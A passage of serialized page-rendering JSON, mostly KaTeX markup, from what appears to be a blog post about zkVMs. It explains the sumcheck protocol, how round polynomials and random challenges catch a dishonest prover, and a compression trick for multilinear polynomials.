":1309},{"className":1308,"style":1152},[997],[1310],{"type":25,"tag":271,"props":1311,"children":1312},{"style":1156},[1313,1317],{"type":25,"tag":271,"props":1314,"children":1316},{"className":1315,"style":1161},[1007],[],{"type":25,"tag":271,"props":1318,"children":1320},{"className":1319},[1013,1166,1167,1016],[1321],{"type":25,"tag":271,"props":1322,"children":1324},{"className":1323},[296,1016],[1325],{"type":30,"value":1326},"2",{"type":25,"tag":271,"props":1328,"children":1330},{"className":1329},[1177],[1331],{"type":30,"value":1180},{"type":25,"tag":271,"props":1333,"children":1335},{"className":1334},[992],[1336],{"type":25,"tag":271,"props":1337,"children":1339},{"className":1338,"style":1188},[997],[1340],{"type":25,"tag":271,"props":1341,"children":1342},{},[],{"type":25,"tag":271,"props":1344,"children":1346},{"className":1345},[356,1016],[1347],{"type":30,"value":1198},{"type":25,"tag":271,"props":1349,"children":1351},{"className":1350},[391,1016],[1352],{"type":30,"value":947},{"type":25,"tag":271,"props":1354,"children":1356},{"className":1355},[296,1016],[1357],{"type":30,"value":953},{"type":25,"tag":271,"props":1359,"children":1361},{"className":1360},[404,1016],[1362],{"type":30,"value":407},{"type":25,"tag":271,"props":1364,"children":1366},{"className":1365},[296,1016],[1367],{"type":30,"value":968},{"type":25,"tag":271,"props":1369,"children":1371},{"className":1370},[437,1016],[1372],{"type":30,"value":978},{"type":25,"tag":271,"props":1374,"children":1376},{"className":1375},[1177],[1377],{"type":30,"value":1180},{"type":25,"tag":271,"props":1379,"children":1381},{"className":1380},[992],[1382],{"type":25,"tag":271,"props":1383,"children":1385},{"className":1384,"style":1236},[997],[1386],{"type":25,"tag":271,"props":1387,"children":1388},{},[],{"type":25,"tag":271,"props":1390,"children":1392},{"className":1391,"style":411},[337],[],{"type":25,"tag":271,"props":1394,"children":1397},{"className":1395},[1396],"minner",[1398],{"type":30,"value":1399},"⋯",{"type":25,"tag":271,"props":1401,"children":1403},{"className":1402,"style":411},[337],[],{"type":25,"tag":271,"props":1405,"children":1407},{"className":1406},[1082],[1408,1413],{"type":25,"tag":271,"props":1409,"children":1411},{"className":1410,"style":1089},[1082,1087,1088],[1412],{"type":30,"value":1092},{"type":25,"tag":271,"props":1414,"children":1416},{"className":1415},[982],[1417],{"type":25,"tag":271,"props":1418,"children":1420},{"className":1419},[987,1100],[1421,1537],{"type":25,"tag":271,"props":1422,"children":1424},{"className":1423},[992],[1425,1532],{"type":25,"tag":271,"props":1426,"children":1428},{"className":1427,"style":1109},[997],[1429],{"type":25,"tag":271,"props":1430,"children":1431},{"style":1113},[1432,1436],{"type":25,"tag":271,"props":1433,"children":1435},{"className":1434,"style":1008},[1007],[],{"type":25,"tag":271,"props":1437,"children":1439},{"className":1438},[1013,1014,1015,1016],[1440],{"type":25,"tag":271,"props":1441,"children":1443},{"className":1442},[296,1016],[1444,1502,1507,1512,1517,1522,1527],{"type":25,"tag":271,"props":1445,"children":1447},{"className":1446},[296,1016],[1448,1453],{"type":25,"tag":271,"props":1449,"children":1451},{"className":1450},[296,297,1016],[1452],{"type":30,"value":1136},{"type":25,"tag":271,"props":1454,"children":1456},{"className":1455},[982],[1457],{"type":25,"tag":271,"props":1458,"children":1460},{"className":1459},[987,1100],[1461,1491],{"type":25,"tag":271,"props":1462,"children":1464},{"className":1463},[992],[1465,1486],{"type":25,"tag":271,"props":1466,"children":1469},{"className":1467,"style":1468},[997],"height:0.1645em;",[1470],{"type":25,"tag":271,"props":1471,"children":1472},{"style":1156},[1473,1477],{"type":25,"tag":271,"props":1474,"children":1476},{"className":1475,"style":1161},[1007],[],{"type":25,"tag":271,"props":1478,"children":1480},{"className":1479},[1013,1166,1167,1016],[1481],{"type":25,"tag":271,"props":1482,"children":1484},{"className":1483},[296,297,1016],[1485],{"type":30,"value":1023},{"type":25,"tag":271,"props":1487,"children":1489},{"className":1488},[1177],[1490],{"type":30,"value":1180},{"type":25,"tag":271,"props":1492,"children":1494},{"className":1493},[992],[1495],{"type":25,"tag":271,"props":1496,"children":1498},{"className":1497,"style":1188},[997],[1499],{"type":25,"tag":271,"props":1500,"children":1501},{},[],{"type":25,"tag":271,"props":1503,"children":1505},{"className":1504},[356,1016],[1506],{"type":30,"value":1198},{"type":25,"tag":271,"props":1508,"children":1510},{"className":1509},[391,1016],[1511],{"type":30,"value":947},{"type":25,"tag":271,"props":1513,"children":1515},{"className":1514},[296,1016],[1516],{"type":30,"value":953},{"type":25,"tag":271,"props":1518,"children":1520},{"className":1519},[404,1016],[1521],{"type":30,"value":407},{"type":25,"tag":271,"props":1523,"children":1525},{"className":1524},[296,1016],[1526],{"type":30,"value":968},{"type":25,"tag":271,"props":1528,"children":1530},{"className":1529},[437,1016],[1531],{"type":30,"value":978},{"type":25,"tag":271,"props":1533,"children":1535},{"className":1534},[1177],[1536],{"type":30,"value":1180},{"type":25,"tag":271,"props":1538,"children":1540},{"className":1539},[992],[1541],{"type":25,"tag":271,"props":1542,"children":1544},{"className":1543,"style":1236},[997],[1545],{"type":25,"tag":271,"props":1546,"children":1547},{},[],{"type":25,"tag":271,"props":1549,"children":1551},{"className":1550,"style":411},[337],[],{"type":25,"tag":271,"props":1553,"children":1556},{"className":1554,"style":1555},[296,297],"margin-right:0.03588em;",[1557],{"type":30,"value":1558},"g",{"type":25,"tag":271,"props":1560,"children":1562},{"className":1561},[391],[1563],{"type":30,"value":394},{"type":25,"tag":271,"props":1565,"children":1567},{"className":1566},[296],[1568,1573],{"type":25,"tag":271,"props":1569,"children":1571},{"className":1570},[296,297],[1572],{"type":30,"value":1136},{"type":25,"tag":271,"props":1574,"children":1576},{"className":1575},[982],[1577],{"type":25,"tag":271,"props":1578,"children":1580},{"className":1579},[987,1100],[1581,1612],{"type":25,"tag":271,"props":1582,"children":1584},{"className":1583},[992],[1585,1607],{"type":25,"tag":271,"props":1586,"children":1589},{"className":1587,"style":1588},[997],"height:0.3011em;",[1590],{"type":25,"tag":271,"props":1591,"children":1593},{"style":1592},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[1594,1598],{"type":25,"tag":271,"props":1595,"children":1597},{"className":1596,"style":1008},[1007],[],{"type":25,"tag":271,"props":1599,"children":1601},{"className":1600},[1013,1014,1015,1016],[1602],{"type":25,"tag":271,"props":1603,"children":1605},{"className":1604},[296,1016],[1606],{"type":30,"value":968},{"type":25,"tag":271,"props":1608,"children":1610},{"className":1609},[1177],[1611],{"type":30,"value":1180},{"type":25,"tag":271,"props":1613,"children":1615},{"className":1614},[992],[1616],{"type":25,"tag":271,"props":1617,"children":1620},{"className":1618,"style":1619},[997],"height:0.15em;",[1621],{"type":25,"tag":271,"props":1622,"children":1623},{},[],{"type":25,"tag":271,"props":1625,"children":1627},{"className":1626},[404],[1628],{"type":30,"value":407},{"type":25,"tag":271,"props":1630,"children":1632},{"className":1631,"style":411},[337],[],{"type":25,"tag":271,"props":1634,"children":1636},{"className":1635},[296],[1637,1642],{"type":25,"tag":271,"props":1638,"children":1640},{"className":1639},[296,297],[1641],{"type":30,"value":1136},{"type":25,"tag":271,"props":1643,"children":1645},{"className":1644},[982],[1646],{"type":25,"tag":271,"props":1647,"children":1649},{"className":1648},[987,1100],[1650,1679],{"type":25,"tag":271,"props":1651,"children":1653},{"className":1652},[992],[1654,1674],{"type":25,"tag":271,"props":1655,"children":1657},{"className":1656,"style":1588},[997],[1658],{"type":25,"tag":271,"props":1659,"children":1660},{"style":1592},[1661,1665],{"type":25,"tag":271,"props":1662,"children":1664},{"className":1663,"style":1008},[1007],[],{"type":25,"tag":271,"props":1666,"children":1668},{"className":1667},[1013,1014,1015,1016],[1669],{"type":25,"tag":271,"props":1670,"children":1672},{"className":1671},[296,1016],[1673],{"type":30,"value":1326},{"type":25,"tag":271,"props":1675,"children":1677},{"className":1676},[1177],[1678],{"type":30,"value":1180},{"type":25,"tag":271,"props":1680,"children":1682},{"className":1681},[992],[1683],{"type":25,"tag":271,"props":1684,"children":1686},{"className":1685,"style":1619},[997],[1687],{"type":25,"tag":271,"props":1688,"children":1689},{},[],{"type":25,"tag":271,"props":1691,"children":1693},{"className":1692},[404],[1694],{"type":30,"value":407},{"type":25,"tag":271,"props":1696,"children":1698},{"className":1697,"style":411},[337],[],{"type":25,"tag":271,"props":1700,"children":1702},{"className":1701},[1396],[1703],{"type":30,"value":1704},"…",{"type":25,"tag":271,"props":1706,"children":1708},{"className":1707,"style":411},[337],[],{"type":25,"tag":271,"props":1710,"children":1712},{"className":1711},[404],[1713],{"type":30,"value":407},{"type":25,"tag":271,"props":1715,"children":1717},{"className":1716,"style":411},[337],[],{"type":25,"tag":271,"props":1719,"children":1721},{"className":1720},[296],[1722,1727],{"type":25,"tag":271,"props":1723,"children":1725},{"className":1724},[296,297],[1726],{"type":30,"value":1136},{"type":25,"tag":271,"props":1728,"children":1730},{"className":1729},[982],[1731],{"type":25,"tag":271,"props":1732,"children":1734},{"className":1733},[987,1100],[1735,1765],{"type":25,"tag":271,"props":1736,"children":1738},{"className":1737},[992],[1739,1760],{"type":25,"tag":271,"props":1740,"children":1743},{"className":1741,"style":1742},[997],"height:0.1514em;",[1744],{"type":25,"tag":271,"props":1745,"children":1746},{"style":1592},[1747,1751],{"type":25,"tag":271,"props":1748,"children":1750},{"className":1749,"style":1008},[1007],[],{"type":25,"tag":271,"props":1752,"children":1754},{"className":1753},[1013,1014,1015,1016],[1755],{"type":25,"tag":271,"props":1756,"children":1758},{"className":1757},[296,297,1016],[1759],{"type":30,"value":1023},{"type":25,"tag":271,"props":1761,"children":1763},{"className":1762},[1177],[1764],{"type":30,"value":1180},{"type":25,"tag":271,"props":1766,"children":1768},{"className":1767},[992],[1769],{"type":25,"tag":271,"props":1770,"children":1772},{"className":1771,"style":1619},[997],[1773],{"type":25,"tag":271,"props":1774,"children":1775},{},[],{"type":25,"tag":271,"props":1777,"children":1779},{"className":1778},[437],[1780],{"type":30,"value":440},{"type":25,"tag":26,"props":1782,"children":1783},{},[1784,1786,1847],{"type":30,"value":1785},"The naive approach would be for the verifier to compute all ",{"type":25,"tag":264,"props":1787,"children":1789},{"className":1788},[267,268],[1790],{"type":25,"tag":271,"props":1791,"children":1793},{"className":1792},[274],[1794],{"type":25,"tag":271,"props":1795,"children":1797},{"className":1796,"ariaHidden":280},[279],[1798],{"type":25,"tag":271,"props":1799,"children":1801},{"className":1800},[285],[1802,1806],{"type":25,"tag":271,"props":1803,"children":1805},{"className":1804,"style":998},[290],[],{"type":25,"tag":271,"props":1807,"children":1809},{"className":1808},[296],[1810,1815],{"type":25,"tag":271,"props":1811,"children":1813},{"className":1812},[296],[1814],{"type":30,"value":1326},{"type":25,"tag":271,"props":1816,"children":1818},{"className":1817},[982],[1819],{"type":25,"tag":271,"props":1820,"children":1822},{"className":1821},[987],[1823],{"type":25,"tag":271,"props":1824,"children":1826},{"className":1825},[992],[1827],{"type":25,"tag":271,"props":1828,"children":1830},{"className":1829,"style":998},[997],[1831],{"type":25,"tag":271,"props":1832,"children":1833},{"style":1002},[1834,1838],{"type":25,"tag":271,"props":1835,"children":1837},{"className":1836,"style":1008},[1007],[],{"type":25,"tag":271,"props":1839,"children":1841},{"className":1840},[1013,1014,1015,1016],[1842],{"type":25,"tag":271,"props":1843,"children":1845},{"className":1844},[296,297,1016],[1846],{"type":30,"value":1023},{"type":30,"value":1848}," evaluations. This is exponentially expensive.",{"type":25,"tag":26,"props":1850,"children":1851},{},[1852,1854,1859],{"type":30,"value":1853},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":25,"tag":38,"props":1855,"children":1856},{},[1857],{"type":30,"value":1858},"only one",{"type":30,"value":1860},".",{"type":25,"tag":26,"props":1862,"children":1863},{},[1864],{"type":25,"tag":698,"props":1865,"children":1868},{"alt":1866,"src":1867},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":25,"tag":26,"props":1870,"children":1871},{},[1872,1874,1969,1971,2159,2161,2186,2188,2266,2268,2349],{"type":30,"value":1873},"In each round, the prover must send a polynomial ",{"type":25,"tag":264,"props":1875,"children":1877},{"className":1876},[267,268],[1878],{"type":25,"tag":271,"props":1879,"children":1881},{"className":1880},[274],[1882],{"type":25,"tag":271,"props":1883,"children":1885},{"className":1884,"ariaHidden":280},[279],[1886],{"type":25,"tag":271,"props":1887,"children":1889},{"className":1888},[285],[1890,1894,1954,1959,1964],{"type":25,"tag":271,"props":1891,"children":1893},{"className":1892,"style":375},[290],[],{"type":25,"tag":271,"props":1895,"children":1897},{"className":1896},[296],[1898,1903],{"type":25,"tag":271,"props":1899,"children":1901},{"className":1900,"style":1555},[296,297],[1902],{"type":30,"value":1558},{"type":25,"tag":271,"props":1904,"children":1906},{"className":1905},[982],[1907],{"type":25,"tag":271,"props":1908,"children":1910},{"className":1909},[987,1100],[1911,1943],{"type":25,"tag":271,"props":1912,"children":1914},{"className":1913},[992],[1915,1938],{"type":25,"tag":271,"props":1916,"children":1919},{"className":1917,"style":1918},[997],"height:0.3117em;",[1920],{"type":25,"tag":271,"props":1921,"children":1923},{"style":1922},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[1924,1928],{"type":25,"tag":271,"props":1925,"children":1927},{"className":1926,"style":1008},[1007],[],{"type":25,"tag":271,"props":1929,"children":1931},{"className":1930},[1013,1014,1015,1016],[1932],{"type":25,"tag":271,"props":1933,"children":1935},{"className":1934},[296,297,1016],[1936],{"type":30,"value":1937},"i",{"type":25,"tag":271,"props":1939,"children":1941},{"className":1940},[1177],[1942],{"type":30,"value":1180},{"type":25,"tag":271,"props":1944,"children":1946},{"className":1945},[992],[1947],{"type":25,"tag":271,"props":1948,"children":1950},{"className":1949,"style":1619},[997],[1951],{"type":25,"tag":271,"props":1952,"children":1953},{},[],{"type":25,"tag":271,"props":1955,"children":1957},{"className":1956},[391],[1958],{"type":30,"value":394},{"type":25,"tag":271,"props":1960,"children":1962},{"className":1961,"style":416},[296,297],[1963],{"type":30,"value":419},{"type":25,"tag":271,"props":1965,"children":1967},{"className":1966},[437],[1968],{"type":30,"value":440},{"type":30,"value":1970}," such that ",{"type":25,"tag":264,"props":1972,"children":1974},{"className":1973},[267,268],[1975],{"type":25,"tag":271,"props":1976,"children":1978},{"className":1977},[274],[1979],{"type":25,"tag":271,"props":1980,"children":1982},{"className":1981,"ariaHidden":280},[279],[1983,2079],{"type":25,"tag":271,"props":1984,"children":1986},{"className":1985},[285],[1987,1991,2048,2053,2058,2063,2068,2075],{"type":25,"tag":271,"props":1988,"children":1990},{"className":1989,"style":375},[290],[],{"type":25,"tag":271,"props":1992,"children":1994},{"className":1993},[296],[1995,2000],{"type":25,"tag":271,"props":1996,"children":1998},{"className":1997,"style":1555},[296,297],[1999],{"type":30,"value":1558},{"type":25,"tag":271,"props":2001,"children":2003},{"className":2002},[982],[2004],{"type":25,"tag":271,"props":2005,"children":2007},{"className":2006},[987,1100],[2008,2037],{"type":25,"tag":271,"props":2009,"children":2011},{"className":2010},[992],[2012,2032],{"type":25,"tag":271,"props":2013,"children":2015},{"className":2014,"style":1918},[997],[2016],{"type":25,"tag":271,"props":2017,"children":2018},{"style":1922},[2019,2023],{"type":25,"tag":271,"props":2020,"children":2022},{"className":2021,"style":1008},[1007],[],{"type":25,"tag":271,"props":2024,"children":2026},{"className":2025},[1013,1014,1015,1016],[2027],{"type":25,"tag":271,"props":2028,"children":2030},{"className":2029},[296,297,1016],[2031],{"type":30,"value":1937},{"type":25,"tag":271,"props":2033,"children":2035},{"className":2034},[1177],[2036],{"type":30,"value":1180},{"type":25,"tag":271,"props":2038,"children":2040},{"className":2039},[992],[2041],{"type":25,"tag":271,"props":2042,"children":2044},{"className":2043,"style":1619},[997],[2045],{"type":25,"tag":271,"props":2046,"children":2047},{},[],{"type":25,"tag":271,"props":2049,"children":2051},{"className":2050},[391],[2052],{"type":30,"value":394},{"type":25,"tag":271,"props":2054,"children":2056},{"className":2055},[296],[2057],{"type":30,"value":953},{"type":25,"tag":271,"props":2059,"children":2061},{"className":2060},[437],[2062],{"type":30,"value":440},{"type":25,"tag":271,"props":2064,"children":2067},{"className":2065,"style":2066},[337],"margin-right:0.2222em;",[],{"type":25,"tag":271,"props":2069,"children":2072},{"className":2070},[2071],"mbin",[2073],{"type":30,"value":2074},"+",{"type":25,"tag":271,"props":2076,"children":2078},{"className":2077,"style":2066},[337],[],{"type":25,"tag":271,"props":2080,"children":2082},{"className":2081},[285],[2083,2087,2144,2149,2154],{"type":25,"tag":271,"props":2084,"children":2086},{"className":2085,"style":375},[290],[],{"type":25,"tag":271,"props":2088,"children":2090},{"className":2089},[296],[2091,2096],{"type":25,"tag":271,"props":2092,"children":2094},{"className":2093,"style":1555},[296,297],[2095],{"type":30,"value":1558},{"type":25,"tag":271,"props":2097,"children":2099},{"className":2098},[982],[2100],{"type":25,"tag":271,"props":2101,"children":2103},{"className":2102},[987,1100],[2104,2133],{"type":25,"tag":271,"props":2105,"children":2107},{"className":2106},[992],[2108,2128],{"type":25,"tag":271,"props":2109,"children":2111},{"className":2110,"style":1918},[997],[2112],{"type":25,"tag":271,"props":2113,"children":2114},{"style":1922},[2115,2119],{"type":25,"tag":271,"props":2116,"children":2118},{"className":2117,"style":1008},[1007],[],{"type":25,"tag":271,"props":2120,"children":2122},{"className":2121},[1013,1014,1015,1016],[2123],{"type":25,"tag":271,"props":2124,"children":2126},{"className":2125},[296,297,1016],[2127],{"type":30,"value":1937},{"type":25,"tag":271,"props":2129,"children":2131},{"className":2130},[1177],[2132],{"type":30,"value":1180},{"type":25,"tag":271,"props":2134,"children":2136},{"className":2135},[992],[2137],{"type":25,"tag":271,"props":2138,"children":2140},{"className":2139,"style":1619},[997],[2141],{"type":25,"tag":271,"props":2142,"children":2143},{},[],{"type":25,"tag":271,"props":2145,"children":2147},{"className":2146},[391],[2148],{"type":30,"value":394},{"type":25,"tag":271,"props":2150,"children":2152},{"className":2151},[296],[2153],{"type":30,"value":968},{"type":25,"tag":271,"props":2155,"children":2157},{"className":2156},[437],[2158],{"type":30,"value":440},{"type":30,"value":2160}," equals the previous claim. If the prover is lying about the original sum ",{"type":25,"tag":264,"props":2162,"children":2164},{"className":2163},[267,268],[2165],{"type":25,"tag":271,"props":2166,"children":2168},{"className":2167},[274],[2169],{"type":25,"tag":271,"props":2170,"children":2172},{"className":2171,"ariaHidden":280},[279],[2173],{"type":25,"tag":271,"props":2174,"children":2176},{"className":2175},[285],[2177,2181],{"type":25,"tag":271,"props":2178,"children":2180},{"className":2179,"style":291},[290],[],{"type":25,"tag":271,"props":2182,"children":2184},{"className":2183,"style":1052},[296,297],[2185],{"type":30,"value":1055},{"type":30,"value":2187},", then they must lie about ",{"type":25,"tag":264,"props":2189,"children":2191},{"className":2190},[267,268],[2192],{"type":25,"tag":271,"props":2193,"children":2195},{"className":2194},[274],[2196],{"type":25,"tag":271,"props":2197,"children":2199},{"className":2198,"ariaHidden":280},[279],[2200],{"type":25,"tag":271,"props":2201,"children":2203},{"className":2202},[285],[2204,2209],{"type":25,"tag":271,"props":2205,"children":2208},{"className":2206,"style":2207},[290],"height:0.625em;vertical-align:-0.1944em;",[],{"type":25,"tag":271,"props":2210,"children":2212},{"className":2211},[296],[2213,2218],{"type":25,"tag":271,"props":2214,"children":2216},{"className":2215,"style":1555},[296,297],[2217],{"type":30,"value":1558},{"type":25,"tag":271,"props":2219,"children":2221},{"className":2220},[982],[2222],{"type":25,"tag":271,"props":2223,"children":2225},{"className":2224},[987,1100],[2226,2255],{"type":25,"tag":271,"props":2227,"children":2229},{"className":2228},[992],[2230,2250],{"type":25,"tag":271,"props":2231,"children":2233},{"className":2232,"style":1918},[997],[2234],{"type":25,"tag":271,"props":2235,"children":2236},{"style":1922},[2237,2241],{"type":25,"tag":271,"props":2238,"children":2240},{"className":2239,"style":1008},[1007],[],{"type":25,"tag":271,"props":2242,"children":2244},{"className":2243},[1013,1014,1015,1016],[2245],{"type":25,"tag":271,"props":2246,"children":2248},{"className":2247},[296,297,1016],[2249],{"type":30,"value":1937},{"type":25,"tag":271,"props":2251,"children":2253},{"className":2252},[1177],[2254],{"type":30,"value":1180},{"type":25,"tag":271,"props":2256,"children":2258},{"className":2257},[992],[2259],{"type":25,"tag":271,"props":2260,"children":2262},{"className":2261,"style":1619},[997],[2263],{"type":25,"tag":271,"props":2264,"children":2265},{},[],{"type":30,"value":2267}," somewhere. But since the verifier picks a random ",{"type":25,"tag":264,"props":2269,"children":2271},{"className":2270},[267,268],[2272],{"type":25,"tag":271,"props":2273,"children":2275},{"className":2274},[274],[2276],{"type":25,"tag":271,"props":2277,"children":2279},{"className":2278,"ariaHidden":280},[279],[2280],{"type":25,"tag":271,"props":2281,"children":2283},{"className":2282},[285],[2284,2289],{"type":25,"tag":271,"props":2285,"children":2288},{"className":2286,"style":2287},[290],"height:0.5806em;vertical-align:-0.15em;",[],{"type":25,"tag":271,"props":2290,"children":2292},{"className":2291},[296],[2293,2300],{"type":25,"tag":271,"props":2294,"children":2297},{"className":2295,"style":2296},[296,297],"margin-right:0.02778em;",[2298],{"type":30,"value":2299},"r",{"type":25,"tag":271,"props":2301,"children":2303},{"className":2302},[982],[2304],{"type":25,"tag":271,"props":2305,"children":2307},{"className":2306},[987,1100],[2308,2338],{"type":25,"tag":271,"props":2309,"children":2311},{"className":2310},[992],[2312,2333],{"type":25,"tag":271,"props":2313,"children":2315},{"className":2314,"style":1918},[997],[2316],{"type":25,"tag":271,"props":2317,"children":2319},{"style":2318},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[2320,2324],{"type":25,"tag":271,"props":2321,"children":2323},{"className":2322,"style":1008},[1007],[],{"type":25,"tag":271,"props":2325,"children":2327},{"className":2326},[1013,1014,1015,1016],[2328],{"type":25,"tag":271,"props":2329,"children":2331},{"className":2330},[296,297,1016],[2332],{"type":30,"value":1937},{"type":25,"tag":271,"props":2334,"children":2336},{"className":2335},[1177],[2337],{"type":30,"value":1180},{"type":25,"tag":271,"props":2339,"children":2341},{"className":2340},[992],[2342],{"type":25,"tag":271,"props":2343,"children":2345},{"className":2344,"style":1619},[997],[2346],{"type":25,"tag":271,"props":2347,"children":2348},{},[],{"type":30,"value":2350},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":25,"tag":2352,"props":2353,"children":2355},"h4",{"id":2354},"the-compression-trick",[2356],{"type":30,"value":2357},"The Compression Trick",{"type":25,"tag":26,"props":2359,"children":2360},{},[2361,2363,2514,2516,2797],{"type":30,"value":2362},"For degree-1 (multilinear) polynomials, ",{"type":25,"tag":264,"props":2364,"children":2366},{"className":2365},[267,268],[2367],{"type":25,"tag":271,"props":2368,"children":2370},{"className":2369},[274],[2371],{"type":25,"tag":271,"props":2372,"children":2374},{"className":2373,"ariaHidden":280},[279],[2375,2468,2495],{"type":25,"tag":271,"props":2376,"children":2378},{"className":2377},[285],[2379,2383,2440,2445,2450,2455,2459,2464],{"type":25,"tag":271,"props":2380,"children":2382},{"className":2381,"style":375},[290],[],{"type":25,"tag":271,"props":2384,"children":2386},{"className":2385},[296],[2387,2392],{"type":25,"tag":271,"props":2388,"children":2390},{"className":2389,"style":1555},[296,297],[2391],{"type":30,"value":1558},{"type":25,"tag":271,"props":2393,"children":2395},{"className":2394},[982],[2396],{"type":25,"tag":271,"props":2397,"children":2399},{"className":2398},[987,1100],[2400,2429],{"type":25,"tag":271,"props":2401,"children":2403},{"className":2402},[992],[2404,2424],{"type":25,"tag":271,"props":2405,"children":2407},{"className":2406,"style":1918},[997],[2408],{"type":25,"tag":271,"props":2409,"children":2410},{"style":1922},[2411,2415],{"type":25,"tag":271,"props":2412,"children":2414},{"className":2413,"style":1008},[1007],[],{"type":25,"tag":271,"props":2416,"children":2418},{"className":2417},[1013,1014,1015,1016],[2419],{"type":25,"tag":271,"props":2420,"children":2422},{"className":2421},[296,297,1016],[2423],{"type":30,"value":1937},{"type":25,"tag":271,"props":2425,"children":2427},{"className":2426},[1177],[2428],{"type":30,"value":1180},{"type":25,"tag":271,"props":2430,"children":2432},{"className":2431},[992],[2433],{"type":25,"tag":271,"props":2434,"children":2436},{"className":2435,"style":1619},[997],[2437],{"type":25,"tag":271,"props":2438,"children":2439},{},[],{"type":25,"tag":271,"props":2441,"children":2443},{"className":2442},[391],[2444],{"type":30,"value":394},{"type":25,"tag":271,"props":2446,"children":2448},{"className":2447,"style":416},[296,297],[2449],{"type":30,"value":419},{"type":25,"tag":271,"props":2451,"children":2453},{"className":2452},[437],[2454],{"type":30,"value":440},{"type":25,"tag":271,"props":2456,"children":2458},{"className":2457,"style":338},[337],[],{"type":25,"tag":271,"props":2460,"children":2462},{"className":2461},[356],[2463],{"type":30,"value":1065},{"type":25,"tag":271,"props":2465,"children":2467},{"className":2466,"style":338},[337],[],{"type":25,"tag":271,"props":2469,"children":2471},{"className":2470},[285],[2472,2477,2482,2486,2491],{"type":25,"tag":271,"props":2473,"children":2476},{"className":2474,"style":2475},[290],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":25,"tag":271,"props":2478,"children":2480},{"className":2479},[296,297],[2481],{"type":30,"value":83},{"type":25,"tag":271,"props":2483,"children":2485},{"className":2484,"style":2066},[337],[],{"type":25,"tag":271,"props":2487,"children":2489},{"className":2488},[2071],[2490],{"type":30,"value":2074},{"type":25,"tag":271,"props":2492,"children":2494},{"className":2493,"style":2066},[337],[],{"type":25,"tag":271,"props":2496,"children":2498},{"className":2497},[285],[2499,2503,2509],{"type":25,"tag":271,"props":2500,"children":2502},{"className":2501,"style":326},[290],[],{"type":25,"tag":271,"props":2504,"children":2506},{"className":2505},[296,297],[2507],{"type":30,"value":2508},"b",{"type":25,"tag":271,"props":2510,"children":2512},{"className":2511,"style":416},[296,297],[2513],{"type":30,"value":419},{"type":30,"value":2515}," has only two coefficients. Since the verifier knows ",{"type":25,"tag":264,"props":2517,"children":2519},{"className":2518},[267,268],[2520],{"type":25,"tag":271,"props":2521,"children":2523},{"className":2522},[274],[2524],{"type":25,"tag":271,"props":2525,"children":2527},{"className":2526,"ariaHidden":280},[279],[2528,2621,2714],{"type":25,"tag":271,"props":2529,"children":2531},{"className":2530},[285],[2532,2536,2593,2598,2603,2608,2612,2617],{"type":25,"tag":271,"props":2533,"children":2535},{"className":2534,"style":375},[290],[],{"type":25,"tag":271,"props":2537,"children":2539},{"className":2538},[296],[2540,2545],{"type":25,"tag":271,"props":2541,"children":2543},{"className":2542,"style":1555},[296,297],[2544],{"type":30,"value":1558},{"type":25,"tag":271,"props":2546,"children":2548},{"className":2547},[982],[2549],{"type":25,"tag":271,"props":2550,"children":2552},{"className":2551},[987,1100],[2553,2582],{"type":25,"tag":271,"props":2554,"children":2556},{"className":2555},[992],[2557,2577],{"type":25,"tag":271,"props":2558,"children":2560},{"className":2559,"style":1918},[997],[2561],{"type":25,"tag":271,"props":2562,"children":2563},{"style":1922},[2564,2568],{"type":25,"tag":271,"props":2565,"children":2567},{"className":2566,"style":1008},[1007],[],{"type":25,"tag":271,"props":2569,"children":2571},{"className":2570},[1013,1014,1015,1016],[2572],{"type":25,"tag":271,"props":2573,"children":2575},{"className":2574},[296,297,1016],[2576],{"type":30,"value":1937},{"type":25,"tag":271,"props":2578,"children":2580},{"className":2579},[1177],[2581],{"type":30,"value":1180},{"type":25,"tag":271,"props":2583,"children":2585},{"className":2584},[992],[2586],{"type":25,"tag":271,"props":2587,"children":2589},{"className":2588,"style":1619},[997],[2590],{"type":25,"tag":271,"props":2591,"children":2592},{},[],{"type":25,"tag":271,"props":2594,"children":2596},{"className":2595},[391],[2597],{"type":30,"value":394},{"type":25,"tag":271,"props":2599,"children":2601},{"className":2600},[296],[2602],{"type":30,"value":953},{"type":25,"tag":271,"props":2604,"children":2606},{"className":2605},[437],[2607],{"type":30,"value":440},{"type":25,"tag":271,"props":2609,"children":2611},{"className":2610,"style":2066},[337],[],{"type":25,"tag":271,"props":2613,"children":2615},{"className":2614},[2071],[2616],{"type":30,"value":2074},{"type":25,"tag":271,"props":2618,"children":2620},{"className":2619,"style":2066},[337],[],{"type":25,"tag":271,"props":2622,"children":2624},{"className":2623},[285],[2625,2629,2686,2691,2696,2701,2705,2710],{"type":25,"tag":271,"props":2626,"children":2628},{"className":2627,"style":375},[290],[],{"type":25,"tag":271,"props":2630,"children":2632},{"className":2631},[296],[2633,2638],{"type":25,"tag":271,"props":2634,"children":2636},{"className":2635,"style":1555},[296,297],[2637],{"type":30,"value":1558},{"type":25,"tag":271,"props":2639,"children":2641},{"className":2640},[982],[2642],{"type":25,"tag":271,"props":2643,"children":2645},{"className":2644},[987,1100],[2646,2675],{"type":25,"tag":271,"props":2647,"children":2649},{"className":2648},[992],[2650,2670],{"type":25,"tag":271,"props":2651,"children":2653},{"className":2652,"style":1918},[997],[2654],{"type":25,"tag":271,"props":2655,"children":2656},{"style":1922},[2657,2661],{"type":25,"tag":271,"props":2658,"children":2660},{"className":2659,"style":1008},[1007],[],{"type":25,"tag":271,"props":2662,"children":2664},{"className":2663},[1013,1014,1015,1016],[2665],{"type":25,"tag":271,"props":2666,"children":2668},{"className":2667},[296,297,1016],[2669],{"type":30,"value":1937},{"type":25,"tag":271,"props":2671,"children":2673},{"className":2672},[1177],[2674],{"type":30,"value":1180},{"type":25,"tag":271,"props":2676,"children":2678},{"className":2677},[992],[2679],{"type":25,"tag":271,"props":2680,"children":2682},{"className":2681,"style":1619},[997],[2683],{"type":25,"tag":271,"props":2684,"children":2685},{},[],{"type":25,"tag":271,"props":2687,"children":2689},{"className":2688},[391],[2690],{"type":30,"value":394},{"type":25,"tag":271,"props":2692,"children":2694},{"className":2693},[296],[2695],{"type":30,"value":968},{"type":25,"tag":271,"props":2697,"children":2699},{"c